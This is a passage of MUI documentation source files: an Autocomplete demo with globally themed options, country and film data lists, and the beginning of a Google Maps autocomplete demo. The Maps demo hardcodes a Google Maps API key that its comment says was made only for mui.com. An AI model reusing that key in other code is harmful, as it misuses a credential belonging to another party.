    "content": "import Autocomplete, { autocompleteClasses } from '@mui/material/Autocomplete';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport TextField from '@mui/material/TextField';\nimport { createTheme, useTheme, ThemeProvider, Theme } from '@mui/material/styles';\n\n// Theme.ts\nconst customTheme = (outerTheme: Theme) =>\n  createTheme({\n    cssVariables: {\n      colorSchemeSelector: 'class',\n    },\n    palette: {\n      mode: outerTheme.palette.mode,\n    },\n    components: {\n      MuiAutocomplete: {\n        defaultProps: {\n          renderOption: (props, option, state, ownerState) => {\n            const { key, ...optionProps } = props;\n            return (\n              <Box\n                key={key}\n                sx={{\n                  borderRadius: '8px',\n                  margin: '5px',\n                  [`&.${autocompleteClasses.option}`]: {\n                    padding: '8px',\n                  },\n                }}\n                component=\"li\"\n                {...optionProps}\n              >\n                {ownerState.getOptionLabel(option)}\n              </Box>\n            );\n          },\n        },\n      },\n    },\n  });\n\nexport default function GloballyCustomizedOptions() {\n  // useTheme is used to determine the dark or light mode of the docs to maintain the Autocomplete component default styles.\n  const outerTheme = useTheme();\n\n  return (\n    <ThemeProvider theme={customTheme(outerTheme)}>\n      <Stack spacing={5} sx={{ width: 300 }}>\n        <MovieSelect />\n        <CountrySelect />\n      </Stack>\n    </ThemeProvider>\n  );\n}\n\nfunction MovieSelect() {\n  return (\n    <Autocomplete\n      options={top100Films}\n      getOptionLabel={(option: FilmOptionType) => `${option.title} (${option.year})`}\n      id=\"movie-customized-option-demo\"\n      disableCloseOnSelect\n      renderInput={(params) => (\n        <TextField {...params} label=\"Choose a movie\" variant=\"standard\" />\n      )}\n    />\n  );\n}\n\nfunction CountrySelect() {\n  return (\n    <Autocomplete\n      options={countries}\n      disableCloseOnSelect\n      getOptionLabel={(option: CountryType) =>\n        `${option.label} (${option.code}) +${option.phone}`\n      }\n      renderInput={(params) => <TextField {...params} label=\"Choose a country\" />}\n    />\n  );\n}\n\ninterface CountryType {\n  code: string;\n  label: string;\n  phone: string;\n  suggested?: boolean;\n}\n\n// From https://bitbucket.org/atlassian/atlaskit-mk-2/raw/4ad0e56649c3e6c973e226b7efaeb28cb240ccb0/packages/core/select/src/data/countries.js\nconst countries: readonly CountryType[] = [\n  { code: 'AD', label: 'Andorra', phone: '376' },\n  {\n    code: 'AE',\n    label: 'United Arab Emirates',\n    phone: '971',\n  },\n  { code: 'AF', label: 'Afghanistan', phone: '93' },\n  {\n    code: 'AG',\n    label: 'Antigua and Barbuda',\n    phone: '1-268',\n  },\n  { code: 'AI', label: 'Anguilla', phone: '1-264' },\n  { code: 'AL', label: 'Albania', phone: '355' },\n  { code: 'AM', label: 'Armenia', phone: '374' },\n  { code: 'AO', label: 'Angola', phone: '244' },\n  { code: 'AQ', label: 'Antarctica', phone: '672' },\n  { code: 'AR', label: 'Argentina', phone: '54' },\n  { code: 'AS', label: 'American Samoa', phone: '1-684' },\n  { code: 'AT', label: 'Austria', phone: '43' },\n  {\n    code: 'AU',\n    label: 'Australia',\n    phone: '61',\n    suggested: true,\n  },\n  { code: 'AW', label: 'Aruba', phone: '297' },\n  { code: 'AX', label: 'Alland Islands', phone: '358' },\n  { code: 'AZ', label: 'Azerbaijan', phone: '994' },\n  {\n    code: 'BA',\n    label: 'Bosnia and Herzegovina',\n    phone: '387',\n  },\n  { code: 'BB', label: 'Barbados', phone: '1-246' },\n  { code: 'BD', label: 'Bangladesh', phone: '880' },\n  { code: 'BE', label: 'Belgium', phone: '32' },\n  { code: 'BF', label: 'Burkina Faso', phone: '226' },\n  { code: 'BG', label: 'Bulgaria', phone: '359' },\n  { code: 'BH', label: 'Bahrain', phone: '973' },\n  { code: 'BI', label: 'Burundi', phone: '257' },\n  { code: 'BJ', label: 'Benin', phone: '229' },\n  { code: 'BL', label: 'Saint Barthelemy', phone: '590' },\n  { code: 'BM', label: 'Bermuda', phone: '1-441' },\n  { code: 'BN', label: 'Brunei Darussalam', phone: '673' },\n  { code: 'BO', label: 'Bolivia', phone: '591' },\n  { code: 'BR', label: 'Brazil', phone: '55' },\n  { code: 'BS', label: 'Bahamas', phone: '1-242' },\n  { code: 'BT', label: 'Bhutan', phone: '975' },\n  { code: 'BV', label: 'Bouvet Island', phone: '47' },\n  { code: 'BW', label: 'Botswana', phone: '267' },\n  { code: 'BY', label: 'Belarus', phone: '375' },\n  { code: 'BZ', label: 'Belize', phone: '501' },\n  {\n    code: 'CA',\n    label: 'Canada',\n    phone: '1',\n    suggested: true,\n  },\n  {\n    code: 'CC',\n    label: 'Cocos (Keeling) Islands',\n    phone: '61',\n  },\n  {\n    code: 'CD',\n    label: 'Congo, Democratic Republic of the',\n    phone: '243',\n  },\n  {\n    code: 'CF',\n    label: 'Central African Republic',\n    phone: '236',\n  },\n  {\n    code: 'CG',\n    label: 'Congo, Republic of the',\n    phone: '242',\n  },\n  { code: 'CH', label: 'Switzerland', phone: '41' },\n  { code: 'CI', label: \"Cote d'Ivoire\", phone: '225' },\n  { code: 'CK', label: 'Cook Islands', phone: '682' },\n  { code: 'CL', label: 'Chile', phone: '56' },\n  { code: 'CM', label: 'Cameroon', phone: '237' },\n  { code: 'CN', label: 'China', phone: '86' },\n  { code: 'CO', label: 'Colombia', phone: '57' },\n  { code: 'CR', label: 'Costa Rica', phone: '506' },\n  { code: 'CU', label: 'Cuba', phone: '53' },\n  { code: 'CV', label: 'Cape Verde', phone: '238' },\n  { code: 'CW', label: 'Curacao', phone: '599' },\n  { code: 'CX', label: 'Christmas Island', phone: '61' },\n  { code: 'CY', label: 'Cyprus', phone: '357' },\n  { code: 'CZ', label: 'Czech Republic', phone: '420' },\n  {\n    code: 'DE',\n    label: 'Germany',\n    phone: '49',\n    suggested: true,\n  },\n  { code: 'DJ', label: 'Djibouti', phone: '253' },\n  { code: 'DK', label: 'Denmark', phone: '45' },\n  { code: 'DM', label: 'Dominica', phone: '1-767' },\n  {\n    code: 'DO',\n    label: 'Dominican Republic',\n    phone: '1-809',\n  },\n  { code: 'DZ', label: 'Algeria', phone: '213' },\n  { code: 'EC', label: 'Ecuador', phone: '593' },\n  { code: 'EE', label: 'Estonia', phone: '372' },\n  { code: 'EG', label: 'Egypt', phone: '20' },\n  { code: 'EH', label: 'Western Sahara', phone: '212' },\n  { code: 'ER', label: 'Eritrea', phone: '291' },\n  { code: 'ES', label: 'Spain', phone: '34' },\n  { code: 'ET', label: 'Ethiopia', phone: '251' },\n  { code: 'FI', label: 'Finland', phone: '358' },\n  { code: 'FJ', label: 'Fiji', phone: '679' },\n  {\n    code: 'FK',\n    label: 'Falkland Islands (Malvinas)',\n    phone: '500',\n  },\n  {\n    code: 'FM',\n    label: 'Micronesia, Federated States of',\n    phone: '691',\n  },\n  { code: 'FO', label: 'Faroe Islands', phone: '298' },\n  {\n    code: 'FR',\n    label: 'France',\n    phone: '33',\n    suggested: true,\n  },\n  { code: 'GA', label: 'Gabon', phone: '241' },\n  { code: 'GB', label: 'United Kingdom', phone: '44' },\n  { code: 'GD', label: 'Grenada', phone: '1-473' },\n  { code: 'GE', label: 'Georgia', phone: '995' },\n  { code: 'GF', label: 'French Guiana', phone: '594' },\n  { code: 'GG', label: 'Guernsey', phone: '44' },\n  { code: 'GH', label: 'Ghana', phone: '233' },\n  { code: 'GI', label: 'Gibraltar', phone: '350' },\n  { code: 'GL', label: 'Greenland', phone: '299' },\n  { code: 'GM', label: 'Gambia', phone: '220' },\n  { code: 'GN', label: 'Guinea', phone: '224' },\n  { code: 'GP', label: 'Guadeloupe', phone: '590' },\n  { code: 'GQ', label: 'Equatorial Guinea', phone: '240' },\n  { code: 'GR', label: 'Greece', phone: '30' },\n  {\n    code: 'GS',\n    label: 'South Georgia and the South Sandwich Islands',\n    phone: '500',\n  },\n  { code: 'GT', label: 'Guatemala', phone: '502' },\n  { code: 'GU', label: 'Guam', phone: '1-671' },\n  { code: 'GW', label: 'Guinea-Bissau', phone: '245' },\n  { code: 'GY', label: 'Guyana', phone: '592' },\n  { code: 'HK', label: 'Hong Kong', phone: '852' },\n  {\n    code: 'HM',\n    label: 'Heard Island and McDonald Islands',\n    phone: '672',\n  },\n  { code: 'HN', label: 'Honduras', phone: '504' },\n  { code: 'HR', label: 'Croatia', phone: '385' },\n  { code: 'HT', label: 'Haiti', phone: '509' },\n  { code: 'HU', label: 'Hungary', phone: '36' },\n  { code: 'ID', label: 'Indonesia', phone: '62' },\n  { code: 'IE', label: 'Ireland', phone: '353' },\n  { code: 'IL', label: 'Israel', phone: '972' },\n  { code: 'IM', label: 'Isle of Man', phone: '44' },\n  { code: 'IN', label: 'India', phone: '91' },\n  {\n    code: 'IO',\n    label: 'British Indian Ocean Territory',\n    phone: '246',\n  },\n  { code: 'IQ', label: 'Iraq', phone: '964' },\n  {\n    code: 'IR',\n    label: 'Iran, Islamic Republic of',\n    phone: '98',\n  },\n  { code: 'IS', label: 'Iceland', phone: '354' },\n  { code: 'IT', label: 'Italy', phone: '39' },\n  { code: 'JE', label: 'Jersey', phone: '44' },\n  { code: 'JM', label: 'Jamaica', phone: '1-876' },\n  { code: 'JO', label: 'Jordan', phone: '962' },\n  {\n    code: 'JP',\n    label: 'Japan',\n    phone: '81',\n    suggested: true,\n  },\n  { code: 'KE', label: 'Kenya', phone: '254' },\n  { code: 'KG', label: 'Kyrgyzstan', phone: '996' },\n  { code: 'KH', label: 'Cambodia', phone: '855' },\n  { code: 'KI', label: 'Kiribati', phone: '686' },\n  { code: 'KM', label: 'Comoros', phone: '269' },\n  {\n    code: 'KN',\n    label: 'Saint Kitts and Nevis',\n    phone: '1-869',\n  },\n  {\n    code: 'KP',\n    label: \"Korea, Democratic People's Republic of\",\n    phone: '850',\n  },\n  { code: 'KR', label: 'Korea, Republic of', phone: '82' },\n  { code: 'KW', label: 'Kuwait', phone: '965' },\n  { code: 'KY', label: 'Cayman Islands', phone: '1-345' },\n  { code: 'KZ', label: 'Kazakhstan', phone: '7' },\n  {\n    code: 'LA',\n    label: \"Lao People's Democratic Republic\",\n    phone: '856',\n  },\n  { code: 'LB', label: 'Lebanon', phone: '961' },\n  { code: 'LC', label: 'Saint Lucia', phone: '1-758' },\n  { code: 'LI', label: 'Liechtenstein', phone: '423' },\n  { code: 'LK', label: 'Sri Lanka', phone: '94' },\n  { code: 'LR', label: 'Liberia', phone: '231' },\n  { code: 'LS', label: 'Lesotho', phone: '266' },\n  { code: 'LT', label: 'Lithuania', phone: '370' },\n  { code: 'LU', label: 'Luxembourg', phone: '352' },\n  { code: 'LV', label: 'Latvia', phone: '371' },\n  { code: 'LY', label: 'Libya', phone: '218' },\n  { code: 'MA', label: 'Morocco', phone: '212' },\n  { code: 'MC', label: 'Monaco', phone: '377' },\n  {\n    code: 'MD',\n    label: 'Moldova, Republic of',\n    phone: '373',\n  },\n  { code: 'ME', label: 'Montenegro', phone: '382' },\n  {\n    code: 'MF',\n    label: 'Saint Martin (French part)',\n    phone: '590',\n  },\n  { code: 'MG', label: 'Madagascar', phone: '261' },\n  { code: 'MH', label: 'Marshall Islands', phone: '692' },\n  {\n    code: 'MK',\n    label: 'Macedonia, the Former Yugoslav Republic of',\n    phone: '389',\n  },\n  { code: 'ML', label: 'Mali', phone: '223' },\n  { code: 'MM', label: 'Myanmar', phone: '95' },\n  { code: 'MN', label: 'Mongolia', phone: '976' },\n  { code: 'MO', label: 'Macao', phone: '853' },\n  {\n    code: 'MP',\n    label: 'Northern Mariana Islands',\n    phone: '1-670',\n  },\n  { code: 'MQ', label: 'Martinique', phone: '596' },\n  { code: 'MR', label: 'Mauritania', phone: '222' },\n  { code: 'MS', label: 'Montserrat', phone: '1-664' },\n  { code: 'MT', label: 'Malta', phone: '356' },\n  { code: 'MU', label: 'Mauritius', phone: '230' },\n  { code: 'MV', label: 'Maldives', phone: '960' },\n  { code: 'MW', label: 'Malawi', phone: '265' },\n  { code: 'MX', label: 'Mexico', phone: '52' },\n  { code: 'MY', label: 'Malaysia', phone: '60' },\n  { code: 'MZ', label: 'Mozambique', phone: '258' },\n  { code: 'NA', label: 'Namibia', phone: '264' },\n  { code: 'NC', label: 'New Caledonia', phone: '687' },\n  { code: 'NE', label: 'Niger', phone: '227' },\n  { code: 'NF', label: 'Norfolk Island', phone: '672' },\n  { code: 'NG', label: 'Nigeria', phone: '234' },\n  { code: 'NI', label: 'Nicaragua', phone: '505' },\n  { code: 'NL', label: 'Netherlands', phone: '31' },\n  { code: 'NO', label: 'Norway', phone: '47' },\n  { code: 'NP', label: 'Nepal', phone: '977' },\n  { code: 'NR', label: 'Nauru', phone: '674' },\n  { code: 'NU', label: 'Niue', phone: '683' },\n  { code: 'NZ', label: 'New Zealand', phone: '64' },\n  { code: 'OM', label: 'Oman', phone: '968' },\n  { code: 'PA', label: 'Panama', phone: '507' },\n  { code: 'PE', label: 'Peru', phone: '51' },\n  { code: 'PF', label: 'French Polynesia', phone: '689' },\n  { code: 'PG', label: 'Papua New Guinea', phone: '675' },\n  { code: 'PH', label: 'Philippines', phone: '63' },\n  { code: 'PK', label: 'Pakistan', phone: '92' },\n  { code: 'PL', label: 'Poland', phone: '48' },\n  {\n    code: 'PM',\n    label: 'Saint Pierre and Miquelon',\n    phone: '508',\n  },\n  { code: 'PN', label: 'Pitcairn', phone: '870' },\n  { code: 'PR', label: 'Puerto Rico', phone: '1' },\n  {\n    code: 'PS',\n    label: 'Palestine, State of',\n    phone: '970',\n  },\n  { code: 'PT', label: 'Portugal', phone: '351' },\n  { code: 'PW', label: 'Palau', phone: '680' },\n  { code: 'PY', label: 'Paraguay', phone: '595' },\n  { code: 'QA', label: 'Qatar', phone: '974' },\n  { code: 'RE', label: 'Reunion', phone: '262' },\n  { code: 'RO', label: 'Romania', phone: '40' },\n  { code: 'RS', label: 'Serbia', phone: '381' },\n  { code: 'RU', label: 'Russian Federation', phone: '7' },\n  { code: 'RW', label: 'Rwanda', phone: '250' },\n  { code: 'SA', label: 'Saudi Arabia', phone: '966' },\n  { code: 'SB', label: 'Solomon Islands', phone: '677' },\n  { code: 'SC', label: 'Seychelles', phone: '248' },\n  { code: 'SD', label: 'Sudan', phone: '249' },\n  { code: 'SE', label: 'Sweden', phone: '46' },\n  { code: 'SG', label: 'Singapore', phone: '65' },\n  { code: 'SH', label: 'Saint Helena', phone: '290' },\n  { code: 'SI', label: 'Slovenia', phone: '386' },\n  {\n    code: 'SJ',\n    label: 'Svalbard and Jan Mayen',\n    phone: '47',\n  },\n  { code: 'SK', label: 'Slovakia', phone: '421' },\n  { code: 'SL', label: 'Sierra Leone', phone: '232' },\n  { code: 'SM', label: 'San Marino', phone: '378' },\n  { code: 'SN', label: 'Senegal', phone: '221' },\n  { code: 'SO', label: 'Somalia', phone: '252' },\n  { code: 'SR', label: 'Suriname', phone: '597' },\n  { code: 'SS', label: 'South Sudan', phone: '211' },\n  {\n    code: 'ST',\n    label: 'Sao Tome and Principe',\n    phone: '239',\n  },\n  { code: 'SV', label: 'El Salvador', phone: '503' },\n  {\n    code: 'SX',\n    label: 'Sint Maarten (Dutch part)',\n    phone: '1-721',\n  },\n  {\n    code: 'SY',\n    label: 'Syrian Arab Republic',\n    phone: '963',\n  },\n  { code: 'SZ', label: 'Swaziland', phone: '268' },\n  {\n    code: 'TC',\n    label: 'Turks and Caicos Islands',\n    phone: '1-649',\n  },\n  { code: 'TD', label: 'Chad', phone: '235' },\n  {\n    code: 'TF',\n    label: 'French Southern Territories',\n    phone: '262',\n  },\n  { code: 'TG', label: 'Togo', phone: '228' },\n  { code: 'TH', label: 'Thailand', phone: '66' },\n  { code: 'TJ', label: 'Tajikistan', phone: '992' },\n  { code: 'TK', label: 'Tokelau', phone: '690' },\n  { code: 'TL', label: 'Timor-Leste', phone: '670' },\n  { code: 'TM', label: 'Turkmenistan', phone: '993' },\n  { code: 'TN', label: 'Tunisia', phone: '216' },\n  { code: 'TO', label: 'Tonga', phone: '676' },\n  { code: 'TR', label: 'Turkey', phone: '90' },\n  {\n    code: 'TT',\n    label: 'Trinidad and Tobago',\n    phone: '1-868',\n  },\n  { code: 'TV', label: 'Tuvalu', phone: '688' },\n  {\n    code: 'TW',\n    label: 'Taiwan',\n    phone: '886',\n  },\n  {\n    code: 'TZ',\n    label: 'United Republic of Tanzania',\n    phone: '255',\n  },\n  { code: 'UA', label: 'Ukraine', phone: '380' },\n  { code: 'UG', label: 'Uganda', phone: '256' },\n  {\n    code: 'US',\n    label: 'United States',\n    phone: '1',\n    suggested: true,\n  },\n  { code: 'UY', label: 'Uruguay', phone: '598' },\n  { code: 'UZ', label: 'Uzbekistan', phone: '998' },\n  {\n    code: 'VA',\n    label: 'Holy See (Vatican City State)',\n    phone: '379',\n  },\n  {\n    code: 'VC',\n    label: 'Saint Vincent and the Grenadines',\n    phone: '1-784',\n  },\n  { code: 'VE', label: 'Venezuela', phone: '58' },\n  {\n    code: 'VG',\n    label: 'British Virgin Islands',\n    phone: '1-284',\n  },\n  {\n    code: 'VI',\n    label: 'US Virgin Islands',\n    phone: '1-340',\n  },\n  { code: 'VN', label: 'Vietnam', phone: '84' },\n  { code: 'VU', label: 'Vanuatu', phone: '678' },\n  { code: 'WF', label: 'Wallis and Futuna', phone: '681' },\n  { code: 'WS', label: 'Samoa', phone: '685' },\n  { code: 'XK', label: 'Kosovo', phone: '383' },\n  { code: 'YE', label: 'Yemen', phone: '967' },\n  { code: 'YT', label: 'Mayotte', phone: '262' },\n  { code: 'ZA', label: 'South Africa', phone: '27' },\n  { code: 'ZM', label: 'Zambia', phone: '260' },\n  { code: 'ZW', label: 'Zimbabwe', phone: '263' },\n];\n\ninterface FilmOptionType {\n  title: string;\n  year: number;\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/GloballyCustomizedOptions.tsx.preview",
    "content": "<ThemeProvider theme={customTheme(outerTheme)}>\n  <Stack spacing={5} sx={{ width: 300 }}>\n    <MovieSelect />\n    <CountrySelect />\n  </Stack>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/components/autocomplete/GoogleMaps.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport Paper from '@mui/material/Paper';\nimport LocationOnIcon from '@mui/icons-material/LocationOn';\nimport Grid from '@mui/material/Grid';\nimport Typography from '@mui/material/Typography';\nimport parse from 'autosuggest-highlight/parse';\n// For the sake of this demo, we have to use debounce to reduce Google Maps Places API quote use\n// But prefer to use throttle in practice\n// import throttle from 'lodash/throttle';\nimport { debounce } from '@mui/material/utils';\n\n// This key was created specifically for the demo in mui.com.\n// You need to create a new one for your application.\nconst GOOGLE_MAPS_API_KEY = 'AIzaSyC3aviU6KHXAjoSnxcw6qbOhjnFctbxPkE';\n\nconst useEnhancedEffect =\n  typeof window !== 'undefined' ? React.useLayoutEffect : React.useEffect;\n\nfunction loadScript(src, position) {\n  const script = document.createElement('script');\n  script.setAttribute('async', '');\n  script.src = src;\n  position.appendChild(script);\n  return script;\n}\n\nfunction CustomPaper(props) {\n  return (\n    <Paper {...props}>\n      {props.children}\n      {/* Legal requirement https://developers.google.com/maps/documentation/javascript/policies#logo */}\n      <Box\n        sx={(staticTheme) => ({\n          display: 'flex',\n          justifyContent: 'flex-end',\n          p: '5px 10px 6px 10px',\n          opacity: 0.9,\n          '& path': {\n            fill: '#5e5e5e',\n          },\n          ...staticTheme.applyStyles('dark', {\n            opacity: 0.7,\n            '& path': {\n              fill: '#fff',\n            },\n          }),\n        })}\n      >\n        <svg\n          aria-label=\"Google Maps\"\n          height=\"14\"\n          preserveAspectRatio=\"xMidYMid meet\"\n          viewBox=\"0 0 98 18\"\n          width=\"77\"\n        >\n          <path d=\"M7.08 13.96a6.9 6.9 0 01-4.99-2.05A6.7 6.7 0 010 6.98Q0 4.1 2.09 2.05A6.9 6.9 0 017.08 0a6.7 6.7 0 014.79 1.92l-1.35 1.35a4.8 4.8 0 00-3.44-1.36q-2.1 0-3.55 1.48a5 5 0 00-1.45 3.59q0 2.12 1.46 3.59a4.8 4.8 0 003.55 1.48 4.8 4.8 0 003.53-1.4q.84-.84 1.04-2.4H7.08v-1.9h6.42a6 6 0 01.1 1.19q0 2.8-1.65 4.46a6.4 6.4 0 01-4.87 1.96M22 12.68a4.4 4.4 0 01-3.2 1.29 4.4 4.4 0 01-3.2-1.29 4.3 4.3 0 01-1.31-3.21q0-1.92 1.31-3.21a4.4 4.4 0 013.2-1.29q1.9 0 3.2 1.29a4.3 4.3 0 011.31 3.21A4.3 4.3 0 0122 12.68m-4.99-1.26q.75.78 1.79.77 1.04 0 1.79-.77.75-.78.75-1.95 0-1.19-.74-1.96-.75-.77-1.8-.77t-1.8.77a2.7 2.7 0 00-.74 1.96q0 1.17.75 1.95m14.84 1.26q-1.3 1.29-3.2 1.29c-1.9 0-2.33-.43-3.2-1.29a4.3 4.3 0 01-1.31-3.21q0-1.92 1.31-3.21 1.3-1.29 3.2-1.29c1.9 0 2.33.43 3.2 1.29a4.3 4.3 0 011.31 3.21q0 1.92-1.31 3.21m-4.99-1.26q.75.78 1.79.77 1.04 0 1.79-.77.75-.78.75-1.95 0-1.19-.74-1.96c-.74-.77-1.09-.77-1.8-.77q-1.05 0-1.8.77a2.7 2.7 0 00-.74 1.96q0 1.17.75 1.95M38.32 18q-1.5 0-2.52-.8a4.5 4.5 0 01-1.46-1.86l1.72-.72q.27.65.85 1.12.59.48 1.41.48a2.3 2.3 0 001.76-.68q.64-.68.64-1.96v-.65h-.07a2.9 2.9 0 01-2.37 1.02 4 4 0 01-3.01-1.31 4.4 4.4 0 01-1.29-3.17 4.4 4.4 0 011.29-3.19 4 4 0 013.01-1.32q.76 0 1.39.29t.98.72h.07v-.72h1.87v8.07q0 2.35-1.2 3.52A4.2 4.2 0 0138.32 18m.13-5.81q1.02 0 1.71-.77a2.8 2.8 0 00.69-1.93q0-1.17-.69-1.96a2.2 2.2 0 00-1.71-.79q-1.03 0-1.77.78a2.8 2.8 0 00-.73 1.96q0 1.16.73 1.93.74.78 1.77.78M45.93.48v13.21h-1.98V.48zm5.41 13.48a4.38 4.38 0 01-4.46-4.49q0-1.98 1.23-3.24a4 4 0 013.01-1.26 3.8 3.8 0 012.68 1.07 5 5 0 011.17 1.8l.2.51-6.01 2.49a2.3 2.3 0 002.18 1.36q1.37 0 2.21-1.24l1.53 1.02q-.5.76-1.45 1.38-.92.6-2.29.6m-2.5-4.63l4.02-1.67a1.4 1.4 0 00-.63-.69 2 2 0 00-1.04-.26q-.87 0-1.63.72a2.4 2.4 0 00-.72 1.9m11.21 4.36V1.5h1.57l4.24 7.42h.07l4.24-7.42h1.57v12.19h-1.57V6.45l.07-2.04h-.07l-3.81 6.69h-.92l-3.81-6.69h-.07l.07 2.04v7.24zm16.31.27q-1.33 0-2.22-.77a2.5 2.5 0 01-.89-2.03q0-1.36 1.06-2.14 1.05-.77 2.61-.77 1.38 0 2.26.51v-.23q0-.91-.63-1.47A2.3 2.3 0 0077 6.51q-.68 0-1.23.32a1.6 1.6 0 00-.77.88l-1.43-.61q.28-.75 1.14-1.39a3.6 3.6 0 012.25-.64q1.6 0 2.66.94 1.05.93 1.06 2.64v5.04h-1.5v-1.16h-.08a3 3 0 01-2.74 1.43m.25-1.43q.97 0 1.76-.72.8-.72.79-1.71-.67-.54-1.99-.54-1.14 0-1.72.49-.58.5-.58 1.16 0 .61.53.97.54.35 1.21.35m9.97 1.43q-.96 0-1.71-.41a3 3 0 01-1.13-1.02h-.07l.07 1.16v3.68h-1.57V5.35h1.5v1.16h.07a3 3 0 011.13-1.02 3.67 3.67 0 014.5.87 4.5 4.5 0 011.18 3.17q0 1.9-1.18 3.17a3.7 3.7 0 01-2.79 1.26m-.26-1.43q1.1 0 1.87-.83.78-.82.78-2.19t-.78-2.19a2.5 2.5 0 00-1.87-.83q-1.11 0-1.88.82-.78.81-.77 2.2c.01 1.39.26 1.65.77 2.2q.78.82 1.88.82m8.39 1.43a3.8 3.8 0 01-3.65-2.38l1.4-.58q.67 1.57 2.26 1.57.73 0 1.2-.32a1 1 0 00.47-.85q0-.81-1.14-1.11l-1.69-.41a4 4 0 01-1.52-.77 1.9 1.9 0 01-.72-1.54q0-1.11.98-1.8a4 4 0 012.32-.69q1.11 0 1.98.5t1.24 1.44l-1.34.56q-.46-1.11-1.91-1.11-.7 0-1.18.29t-.48.78q0 .72 1.11.97l1.65.39a3 3 0 011.74.94q.56.66.56 1.5 0 1.12-.92 1.87-.9.75-2.36.75\" />\n        </svg>\n      </Box>\n    </Paper>\n  );\n}\n\nCustomPaper.propTypes = {\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n};\n\nconst fetch = debounce(async (request, callback) => {\n  try {\n    const 